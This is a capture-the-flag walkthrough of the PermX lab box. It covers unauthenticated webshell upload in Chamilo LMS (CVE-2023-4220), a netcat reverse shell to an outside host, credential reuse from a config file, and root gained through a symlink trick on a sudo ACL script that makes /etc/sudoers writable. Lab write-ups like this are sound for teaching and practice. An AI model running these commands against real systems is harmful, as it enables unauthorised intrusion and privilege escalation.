PermX
Exploiting CVE-2023-4220 in the Chamilo LMS to gain remote code execution via an unauthenticated file upload. After initial access, the attack leverages a symlink attack on a vulnerable ACL script to escalate privileges and gain root access, capturing both user and root flags.
Machine
- Name: PermX
- Summary: Exploiting CVE-2023-4220 in the Chamilo LMS to gain remote code execution via an unauthenticated file upload. After initial access, the attack leverages a symlink attack on a vulnerable ACL script to escalate privileges and gain root access, capturing both user and root flags.
Author
- Name: m3gakr4nus
- Duration: 2024-09-03 - 2024-09-03
Initial Recon
Nmap Scan
Let’s start with a simple nmap
scan.
1
2
3
4
5
6
7
8
9
10
11
m3ga@kali$ nmap -sS -Pn -v -p- -T4 -A -oN portscan.nmap 10.10.11.23
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: eLEARNING
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.52 (Ubuntu)
Seems like there is a Apache webserver
running on port 80 Let’s check it out…
The server redirects us to permx.htb
.
Let’s add 10.10.11.23 permx.htb
to our /etc/hosts
Finding Subdomains
After doing some enumeration on the website, I found two subdomains running. www
and lms
1
2
3
4
5
6
7
8
m3ga@kali$ wfuzz -u "http://permx.htb" -H "Host: FUZZ.permx.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c --hc 302
...
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 586 L 2466 W 36182 Ch "www"
000000477: 200 352 L 940 W 19347 Ch "lms"
Let’s add 10.10.11.23 permx.htb www.permx.htb lms.permx.htb
to our /etc/hosts
file so we can access them.
The lms.permx.htb
is running a web application called Chamilo
The Chamilo project was founded in early 2010 as a result of a fork from another free software e-learning platform, meant to protect the fundamental openness and free character of this LMS. It inherits indirectly from the Claroline project, first published in 2001. Although very little parts of the code of Chamilo still reflect that ancient history, the project philosophy never really changed: Chamilo is still one of the (if not the) easiest e-learning platform to use, making it easier for educators all around the world to digitalize and formalize their course content, and easier for all to get access to accessible education, improving the world’s social and economic growth.
At the bottom of the page, we can see who the administrator is and if we hover over the name, we can actually see admin’s email address as well.
Davis Miller: admin@permx.htb
CVE-2023-4220
After doing some research on Chamilo
, I found a somewhat recent CVE and an exploit for it made by m3m0o
on GithHub.
CVE
Unrestricted file upload in big file upload functionality in
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
Exploit
This is a script written in Python that allows the exploitation of the Chamilo’s LMS software security flaw described in CVE-2023-4220. The system is vulnerable in versions preceding 1.11.24.
User Flag
Reverse shell
Let’s clone the exploit’s repo and test it out. The script can actually scan the target first before exploiting it which is always nice ;)
1
2
3
4
m3ga@kali$ git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc.git
m3ga@kali$ cd chamilo-lms-unauthenticated-big-upload-rce-poc
m3ga@kali$ python3 main.py -u "http://lms.permx.htb" -a scan
[+] Target is likely vulnerable. Go ahead. [+]
The scan reuturns positive. Let’s test the exploit and see if it works!
1
2
3
4
5
6
m3ga@kali$ python3 main.py -u 'http://lms.permx.htb' -a webshell
Enter the name of the webshell file that will be placed on the target server (default: webshell.php): shell.php
[+] Upload successfull [+]
Webshell URL: http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shell.php?cmd=<command>
The upload was successful! The exploit provides us with the URL of the uploaded file. Let’s do a simple test to see if we can actually execute commands.
1
2
m3ga@kali$ curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Yes we can! we can see that www-data
as the user. Let’s try and get a reverse shell on it.
I will use this payload which always works for me.
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.2 53 >/tmp/f
Url-encoded
1
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.16.2%2053%20%3E%2Ftmp%2Ff
Final Payload
1
$ curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.16.2%2053%20%3E%2Ftmp%2Ff'
Perfect! We got a reverse shell :)
Enumeration
Let’s see what users are on the system.
1
2
3
www-data@permx:$ grep '/bin/bash' /etc/passwd
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
mtz
seems to be our next target. Let’s run linpeas and see what we can use to escalate our privileges.
Linpeas
found these FTP Credentials but there is no FTP running on the system. I’m guessing this is just a standard configuration file.
SSH as ‘mtz’
Linpeas
found a $_configuration['db_password']
inside the file /var/www/chamilo/app/config/configuration.php
Let’s use grep to get all the information that could be useful to us.
1
2
3
4
5
6
7
8
9
www-data@permx:$ grep -i "db_pass" /var/www/chamilo/app/config/configuration.php --color -B 5 -A 10
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '[REDACTED]';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
I tried using the password to SSH with the user mtz
and it worked!
We can find the user flag inside user.txt
in mtz
’s home directory!
1
2
3
4
5
6
7
8
9
10
m3ga@kali$ ssh mtz@permx.htb
mtz@permx.htb's password: [REDACTED]
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-113-generic x86_64)
...
mtz@permx:~$ id
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
mtz@permx:~$ ls
user.txt
mtz@permx:~$ cat user.txt
[REDACTED]
Root Flag
Enumeration
After checking what I can run with sudo, we find the /opt/acl.sh
script which can be ran by us with root privileges.
1
2
3
4
5
6
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
Let’s see if we can simply replace the contents of the file
1
2
mtz@permx:~$ ls -la /opt/acl.sh
-rwxr-xr-x 1 root root 419 Jun 5 11:58 /opt/acl.sh
NOPE! It’s owned by root and we have no write permission on the file nor the pattern directory.
Let’s see what the script is actually doing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
acl.sh - Code Breakdown
Let’s break the script down to understand it easier.
The script first check to see if exactly three arguments have been passed to it. If not, the usage message is shown followed by the script exiting.
1
2
3
4
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
It then initializes three variables and stores the three provided command-line arguments in them.
1
2
3
user="$1" # The first commandline argument = the user
perm="$2" # The second commandline argument = the permission type
target="$3" # The third commandline argument = the target file
The provided target file is then checked by the script to see if it begins with /home/mtz
and cleverly checks to see if the provided path contains ..
. If both conditions are true, then an Access denied.
message is shown followed by the script exiting.
1
2
3
4
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
The script also check if the provided target path is a directory or not. If it is, the message Target must be a file
is shown followed by the script exiting.
1
2
3
4
5
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
Finally, setfacl
is used to give the selected user the provided permission type on the specified file.
1
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
GeeksForGeeks - setfacl (set file access control lists)
In Linux distribution, setfacl stands for Set File Access Control List. It is a command utility tool for setting access control lists in files and directories. setfacl is a powerful tool for managing file permission based on respective Users and Groups rather than general file permission.
setfacl - MAN page The -m (–modify) and -M (–modify-file) options modify the ACL of a file or directory. ACL entries for this operation must include permissions.
As a summary, we are only able to modify file permissions inside /home/mtz
and we can not do a path traversal attack with something like /home/mtz/../../etc/shadow
Symlink attack - Root Shell
We can however, create soft links to the desired file on the system on put the link inside our home directory or any path which begins with /home/mtz
. Then when we use this script, it might actually change the permission on the actual file.
To test this, let’s create a soft link of the /etc/shadow
file inside our home directory /home/mtz
. And then we would run the script and give ourselves read permissions.
1
2
3
4
5
6
7
mtz@permx:~$ ln -s /etc/shadow ./shadow
mtz@permx:~$ sudo /opt/acl.sh mtz r /home/mtz/shadow
mtz@permx:~$ cat ./shadow
root:$y$j9T$[REDACTED]
...
mtz:$y$j9T$[REDACTED]
...
We can successfully read the /etc/shadow
file. Now there are some possibilities on how we can exploit this and get root access.
- You could grab the hashes and try to crack them
- You could give yourself write permission on
/etc/shadow
, generate a new hash and replaceroot
’s hash with it. - You can also make the
/etc/sudoers
file writable and give yourself the permission to run/bin/bash
as root.
I choose the third option since it’s the quickest and easiest.
1
2
3
4
5
6
7
8
9
10
11
12
13
mtz@permx:~$ ln -s /etc/sudoers ./sudoers
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/sudoers
mtz@permx:~$ nano ./sudoers
...
mtz ALL=(ALL) NOPASSWD: /bin/bash
...
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
(ALL) NOPASSWD: /bin/bash
Now let’s run /bin/bash
with sudo
and grab our final flag.
1
2
3
4
5
6
mtz@permx:~$ sudo /bin/bash
root@permx:/home/mtz# cd
root@permx:~# ls
backup reset.sh root.txt
root@permx:~# cat root.txt
[REDACTED]
Outro
This room was pretty fun. Even though it was easy and was solved pretty quickly by me, it still felt good to pwn it.
Many thanks to the creator of this machine, mtzsec.
- m3gakr4nus